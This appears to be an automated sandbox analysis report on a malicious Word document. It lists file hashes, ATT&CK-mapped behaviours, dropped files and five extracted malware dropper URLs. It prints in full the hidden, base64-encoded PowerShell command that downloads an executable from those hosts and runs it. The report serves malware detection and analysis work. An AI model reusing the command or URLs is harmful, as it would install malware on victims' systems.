3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009

General

Target

3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc
Size

177KB
MD5

cef4ead9e2724f482eee71be641fd73f
SHA1

3bb8b7be1e1b65faf70fc53206e39aa0a1b7087b
SHA256

3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009
SHA512

7012df4bd9bb093e22e3fbfd1a244cdf335f2c63f1a59fd13994847ba5b670f792aa02793d0ac3d5f59469900c37fa0fe8c26077eafccdc13d7c934554e25f2c
SSDEEP

3072:te2y/GdyDktGDWLS0HZWD5w8K7Nk9+D7IBUsQdY/R9LG3:te2k4TtGiL3HJk9+D7bsuOLL2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://trendinformatica.eu/arcfabrics/i88ixy9/

exe.dropper

http://theomelet.com/wp-content/fQd/

exe.dropper

http://kgd898.com/wp-admin/h45mi/

exe.dropper

http://idealssschang.com/calendar/60PcB/

exe.dropper

http://happiness360degree.com/wp-admin/fj/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1084	3000	Powershell.exe	83

Blocklisted process makes network request 2 IoCs

flow	pid	Process
26	1084	Powershell.exe
28	1084	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1084	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1852	WINWORD.EXE
1852	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1084	Powershell.exe
1084	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 5060	1852	WINWORD.EXE	84
PID 1852 wrote to memory of 5060	1852	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3fd7e4fa720f2f7f604709808895d5bf488618ac295de97120ad1a3a8a296009.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5060

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABHAGsAYgBlAGkAbgBoAG4AZAB4AD0AJwBKAHMAawB0AHoAYgBxAGgAdgBpAHIAaQAnADsAJABHAHIAegBoAHAAaQBsAGMAeQAgAD0AIAAnADUAMAA2ACcAOwAkAFYAZQBnAGsAcAB2AGgAbABjAGUAbwBiAD0AJwBIAHcAaAB5AHcAcQBvAGYAcABtACcAOwAkAE4AbgBkAHMAcgBuAGcAcwBrAHAAdAB1AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABHAHIAegBoAHAAaQBsAGMAeQArACcALgBlAHgAZQAnADsAJABCAHAAeQBzAHMAcgB4AHQAbAA9ACcATQBzAHoAYwBoAGgAbwBsAHoAbwB2AG8AbAAnADsAJABFAG8AZgBpAGMAbwBnAHEAaQA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAQgBDAEwAaQBFAG4AVAA7ACQAUwBhAHcAawB2AHkAYwBrAHgAegBzAD0AJwBoAHQAdABwADoALwAvAHQAcgBlAG4AZABpAG4AZgBvAHIAbQBhAHQAaQBjAGEALgBlAHUALwBhAHIAYwBmAGEAYgByAGkAYwBzAC8AaQA4ADgAaQB4AHkAOQAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBvAG0AZQBsAGUAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAUQBkAC8AKgBoAHQAdABwADoALwAvAGsAZwBkADgAOQA4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADQANQBtAGkALwAqAGgAdAB0AHAAOgAvAC8AaQBkAGUAYQBsAHMAcwBzAGMAaABhAG4AZwAuAGMAbwBtAC8AYwBhAGwAZQBuAGQAYQByAC8ANgAwAFAAYwBCAC8AKgBoAHQAdABwADoALwAvAGgAYQBwAHAAaQBuAGUAcwBzADMANgAwAGQAZQBnAHIAZQBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmAGoALwAnAC4AIgBzAHAATABgAEkAVAAiACgAJwAqACcAKQA7ACQAUQB2AGYAcABwAHUAagBoAHQAcgA9ACcATAB4AGUAagBhAHgAegB1AGcAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBxAGkAdwBvAGUAbABiAGwAIABpAG4AIAAkAFMAYQB3AGsAdgB5AGMAawB4AHoAcwApAHsAdAByAHkAewAkAEUAbwBmAGkAYwBvAGcAcQBpAC4AIgBEAGAAbwBgAHcAbgBMAE8AQQBEAEYASQBgAEwAZQAiACgAJABBAHEAaQB3AG8AZQBsAGIAbAAsACAAJABOAG4AZABzAHIAbgBnAHMAawBwAHQAdQApADsAJABZAGEAYQBiAHQAZwBhAG0AaQA9ACcAQwBuAHYAdQBjAGMAawBnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQAuACIATABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADgANQAzADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQATgBuAGQAcwByAG4AZwBzAGsAcAB0AHUAKQA7ACQAQwBvAHYAZgB1AHEAbQBwAGMAdQBoAHgAcgA9ACcASQBvAG4AcQBhAGIAYwB3AGIAdgBlAGQAJwA7AGIAcgBlAGEAawA7ACQAVwBwAGMAbgBiAHkAbQBmAG8AbABrAGEAPQAnAEYAdQBxAGUAZgBpAHUAdgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFcAegByAHQAagBxAG0AcAB4AGcAZQBmAD0AJwBRAGgAYwBhAGIAZwBhAGgAdwBxAGgAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9602E61A.wmf

Filesize
444B

MD5
a6c3e7409cb99a3ede92e199b125bd00

SHA1
8b8e376de4016bbd6cb76e73c67d554b65dee658

SHA256
76f77ddfa214a3730e29c8ebdc85f2951969521df0cce990b116c952d373a7bc

SHA512
9a6b9183d74170a4db78de4aa6140af071533ba6bcbe1fb6eb72807dd741b7897eaf398dfbe0a9f400bf998db685d1613af08efe5725db422b50936105d4d1e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDFC8E.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0zurxi3.x1l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
3d14265b895909a005db443175138e30

SHA1
6583a0369f5b230c91b003225a4c6215888664ae

SHA256
51d83c827e9f2c347dcfbe92ad8504453df47aee8bc2d43384e93b4550989b38

SHA512
d2d216b70ee3ee69b948b2db8037049898106ebe42e4ba1c2819672cc11a80e44014ef2415ab347f741b78bd0382483d47c7819c8869c6ee4597425f9efca639

Download Submit
memory/1084-56-0x0000028B93F60000-0x0000028B93F82000-memory.dmp

Filesize
136KB

Download
memory/1852-7-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-17-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-1-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

Filesize
64KB

Download
memory/1852-9-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-8-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-12-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-11-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-14-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-15-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-19-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-18-0x00007FFF025D0000-0x00007FFF025E0000-memory.dmp

Filesize
64KB

Download
memory/1852-6-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-16-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-13-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-10-0x00007FFF025D0000-0x00007FFF025E0000-memory.dmp

Filesize
64KB

Download
memory/1852-5-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

Filesize
64KB

Download
memory/1852-4-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

Filesize
64KB

Download
memory/1852-2-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

Filesize
64KB

Download
memory/1852-68-0x00007FFF44D2D000-0x00007FFF44D2E000-memory.dmp

Filesize
4KB

Download
memory/1852-69-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-70-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-71-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

Filesize
2.0MB

Download
memory/1852-3-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

Filesize
64KB

Download
memory/1852-0-0x00007FFF44D2D000-0x00007FFF44D2E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads